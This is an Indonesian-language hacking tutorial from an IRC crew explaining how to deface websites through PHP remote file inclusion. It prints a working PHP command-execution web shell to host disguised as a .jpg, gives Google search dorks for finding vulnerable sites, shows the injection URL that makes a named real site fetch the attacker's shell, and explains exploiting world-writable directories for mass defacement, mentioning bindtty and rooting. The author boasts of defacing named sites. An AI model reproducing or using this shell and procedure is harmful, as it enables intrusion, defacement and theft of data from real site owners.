DEFACE WITH PHP-BUGS
INI BUG LAMA BUNG !!!

Author : #kartubeben crew @ Dalnet
Thanks : bang yudhax for file permission teching
E-mail : m_beben@gawab.com
Website : www.kartubeben.org
Spesial : toek orang yang nemuin nih bug

Assalamu'alaikum all, pa khabare ???

Penulis doain ente-ente semua semoga dalam lindungan Allah SWT dan selalu sehat juga selalu semangat selalu yah.

Kali ini penulis ingin membahas tentang bug yang udah lama, soalnya penulis pribadi paling jarang baca-baca tentang bug baru, dan paling malas ngikutin perkembangan zaman, wekekekeke... ☺ makanye penulis di sini bakal nulis bug yang udah lama. Bug ini penulis namain bug "*tusuk-tusuk*" tapi mungkin semua pada bilang ini bug namanya *inject php bug* ☺.

Sebelum kita memulai ngelakuin bug ini di target kita, ada baiknya ente-ente semua mengcopy dan paste code berikut ini ke website ente-ente sekalian, entah itu di geocities, portland, atau di hosting ente terserah dah... sabodo tuing !!!

Oh iya, penulis lupa bilang ke ente semua, kalo ente semua udah tau tentang ini bug ato udah ngerasa expert dengan dodolz-nya dunia newbies, maka penulis saranin ente beralih ke tutorial ato artikel laen aja, daripada habisin badwith ente pada :P~ hehehe...

Ini dia code yang musti ente copy-paste ke site ente semua (note : bagi ente-ente yang udah ada code ini di site ente, gak perlu lagi, ini bagi yang belom ada aja).

```
</center></center><br><font face="verdana" size="7"><center><b>CMD</b>
- System Command<br><br></center></font><font face="Verdana"
size="1"></center><br>
<b>#</b> CMD PHP : <br>
<b>#</b> Re-DESIGN by : <b>m_beben from #kartubeben @ Dalnet</b><br>
<br>
<br>
```

```
<hr>
<br>
<pre><font face="Verdana" size="1">
<?
  // CMD - To Execute Command on File Injection Bug ( gif - jpg - txt )
  if (isset($chdir)) @chdir($chdir);
  ob_start();
  system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm
/tmp/cmdtemp");
  $output = ob_get_contents();
  ob_end_clean();
  if (!empty($output)) echo str_replace(">", "&gt;", str_replace("<",
"&lt;", $output));
?>
</font></pre>
<br>
<hr>
<br>
<font face="Verdana" size="1">
<b># m_beben from #kartubeben @ Dalnet</b><br>
<b># www.kartubeben.com | www.kartubeben.org | www.kartubeben.net</b>
<br><b># Come and join with us on #kartubeben @ Dalnet</b>
</font>
```

Hmm... mungkin ada yang tanya, maksud penulis sebenarnya apa seh dan gimana cara masukin code ini ke site kite-kita pada ??? Gini lho maksud penulis : (ini kita balik ke dasar lagi yah)

1. karena penulis rekomendasikan hosting geocities, maka sekarang ente semua buka web geocities di www.geocities.com
2. trus kalo ente udah ada account di sana ya silahkan login ke sana, tapi kalo ente belom ada account, ada baiknya ente daftar dulu untuk buat account hosting di sana
3. seep... kita udah buat satu account, dan contoh account kita kali ini adalah pukisek (account ini fiktif, jadi kalo ada kesamaan nama ato kesamaan peristiwa, yakinlah itu karena penulis udah kehabisan idenya, wekekekeke... :P~)
4. lalu kita login ke account pukisek kita itu di www.geocities.com

5. udah selesai login ke sana silahkan buka file manager ente di sana trus buatlah new file lalu isikan dengan code kita tadi. Ato kalo ente gak mau repot-repot, pertama-tama copy-paste code yang penulis kasih tadi ke pc ente trus save dengan nama terserah ente dengan ektensi .txt ato .jpg (penulis di geocities gunain .jpg ☺) lalu silahkan upload file yang udah ente save di pc ente ke hosting dengan account pukisek yang udah kita buat tadi
6. di hosting, ente bisa save code kita tadi dengan nama cmd.txt ato cmd.jpg

Seep... sekarang code tadi udah kita simpan di hosting kita, jadi kita bisa ngakses tuh code entar di www.geocities.com/pukisek/cmd.txt ato www.geocities.com/pukisek/cmd.jpg.

Nah, sekarang masalah berikutnya adalah mencari target ☺. Bicara soal target adalah berbicara soal keberuntungan, wekekeke... penulis aja kalo cari yang namanya target itu susah mati lho ☹☹☹ Cape banget... nyebelelin, bikin kesel, dll... etc... soon... be er be...

Nah, sekarang untuk masalah targetnya, kita bisa cari di google.com ☺ dengan keyword allinurl: "index.php?*=*.htm*" ato allinurl: "index.php?*=*.php" bisa juga allinurl: "main.php?*=*.htm*" ato allinurl: "main.php?*=*.php" pokoke terserah entelah mo pake apa keywordnya ☺☺☺

Okeh, misalnya kita udah dapat target di www.yugioh-legends.com/main.php?page=beben.txt nah, ini target kita inject, caranya masukin code inject php kita di target dengan cara www.yugioh-legends.com/main.php?page=http://www.geocities.com/pukisek/cmd.jpg?&cmd=<di sini dimasukin perintah unix command> jadi, di tempat unix command itu bisa masukin command unix apa aja, misalnya perintah locate orders.txt ato locate orders.log :P~ tapi penulis lebih sering cari file httpd.conf daripade orders.txt ato orders.log, soalnye penulis bukan CARDER !!!

Okeh, kita gak bahas tentang penulis ini seorang carder apa bukan, yang penting ente semua bisa tentang masalah bug php ini, kalo tetap gak bisa, ente semua bisa penulis Ge-bug, wekekeke ☺☺☺

Hm... tetapi inti sebenarnya yang mau penulis bahas adalah bagaimana mendeface web dengan memanfaatkan perpaduan antara bug php ini sendiri dan permisi dari file-file di target kita. Siapa sangka jika seandainya target yang enta ato penulis dapetin gak bisa untuk di

deface tetapi web yang berada satu hosting dengan target kita ternyata bisa di deface ☺.

www.udoka.com , www.theunderline.com yang ampe sekarang masih dalam keadaan terdeface ternyata penulis deface dari target yang memiliki bug php yang laen sedang target itu sendiri belom kedeface. Makanya, jangan aneh kalo ada web yang penulis deface padahal isinya hanya file-file statis, bukan dynamic file seperti .php ato .asp namun tetap aja kedeface ☺☺☺

Bahkan kalo anda pernah melihat site www.interaktif-online.com (udah mati) yang sempat beberapa kali kedeface ternyata di deface bukan dari site itu langsung, tetapi melalui hostingnya dulu, yaitu www.malang.indo.net.id

Nah, makanya jangan keburu nyesel dulu kalo liat ada target kita yang gak bisa dideface (dengan asumsi kita malas ngeroot di target tersebut macam penulis ☺).

Pertama-tama untuk melihat sebuah permisi file apakah sebanding dengan user id yang kita jalankan, maka gunakan command id lalu ls –la namun jangan keburu sedih dulu kalo ternyata user yang kita pake adalah nobody dan user yang nulis file di target adalah bebenkeren misalnya.

Hmm... lalu kita perhatikan permisi file di target kita, apakah ada yang bisa kita tulisi ? Biasanya karena kita nobody, file yang bisa ditulisi nobody adalah file yang allow write permission di bagian othernya (penulis sulit menjelaskannya, jadi sorry aja yah ☺)

```
$ls -l

total 1023
drwxrwxrwx  100   bebenkeren  kartubeben  43203 kartubeben
drwx---rw-  3     bebenkeren  kartubeben  1234  deface
drwxr-xr-x  11    bebenkeren  kartubeben  23421 hosting
drwx------  1000  bebenkeren  kartubeben  12345 secret
-rwxr-xr-x  1     bebenkeren  kartubeben  1234  beben.txt
-rwxrwxrwx  1     bebenkeren  kartubeben  2332  kartubeben.txt
```

Jika kita perhatikan contoh hasil command ls -l di atas, maka user yang menulis di target adalah bebenkeren dengan group kartubeben sedangkan id yang kita jalankan adalah nobody, maka file yang dapat kita tulisi ato kita deface adalah folder kartubeben dan deface karena kedua file tersebut memiliki permisi yang dapat ditulisi oleh other. Jadi misalnya nama domain target kita adalah www.contoh.com maka kita

bisa mempublikasikan hasil deface kita di www.contoh.com/kartubeben ato di www.contoh.com/deface.

Trus gimana kalo target kita ketika kita cek ternyata hasilnya adalah seperti berikut :

```
$ls -l

total 1023
drwxr-xr-x  555   root        root        50000 .
drwxrwxrwx  100   apache      apache      40000 ..
drwxrwxr-x  100   bebenkeren  kartubeben  43203 kartubeben
drwx---r--  3     bebenkeren  kartubeben  1234  deface
drwxr-xr-x  11    bebenkeren  kartubeben  23421 hosting
drwx------  1000  bebenkeren  kartubeben  12345 secret
-rwxr-xr-x  1     bebenkeren  kartubeben  1234  beben.txt
-rwxrwxrwx  1     bebenkeren  kartubeben  2332  kartubeben.txt
```

```
$pwd
/home/kartubeben/
```

Hmm... jika kita melihat sepintas maka tak ada file yang bisa kita tulisi sehingga kita tidak dapat mendeface target tersebut, tetapi tunggu dulu !!!. Coba kita perhatikan dengan seksama ternyata directory .. ato directory sebelumnya/dibelakangnya ternyata memiliki permisi yang dapat ditulisi oleh account nobody sebagai other, dan wow !!! jika kita mendapati target yang demikian kita bisa melalukan mass defacing !!! wekekeke... ☺☺☺

Penulis kagak mau berlama-lama dalam menulis tutorial kali ini, jadi hanya sampai di sini penulis share ilmu penulis ke ente semua para newbies. So, tinggal perpikir selangkah lagi untuk dapat melakukan deface ☺ tetapi kalo mau seh, simpelnya anda tinggal upload bindtty ke target trus pasang ribuan ato kalo sanggup jutaan exploit ke site target, kemudian dapatin root tuh target lalu maenkan tuh target, tetapi umumnya kalo ente udah dapat root mending jangan deface lagi ☺☺☺

#kartubeben
@ irc.dal.net

Greatz : #kartubeben crew @ irc.dal.net
K-159 and all of #aikmel crew and staff
the_day, y3dips and all of #e-c-h-o crew and staff
kevin yang udah banyak membantu penulis
Nixell yang udah berbaik hati kenapa penulis
sam_stradlin , PARMIN , CupiD^ , pakcik dan semua yang udah bantu-bantu di #kartubeben
Special : bang yudhax yang udah mengajari penulis tentang permisi file di target yang selama ini belom penulis perhatikan, kapan #postgres dibuka lagi bang ???

#kartubeben
@ irc.dal.net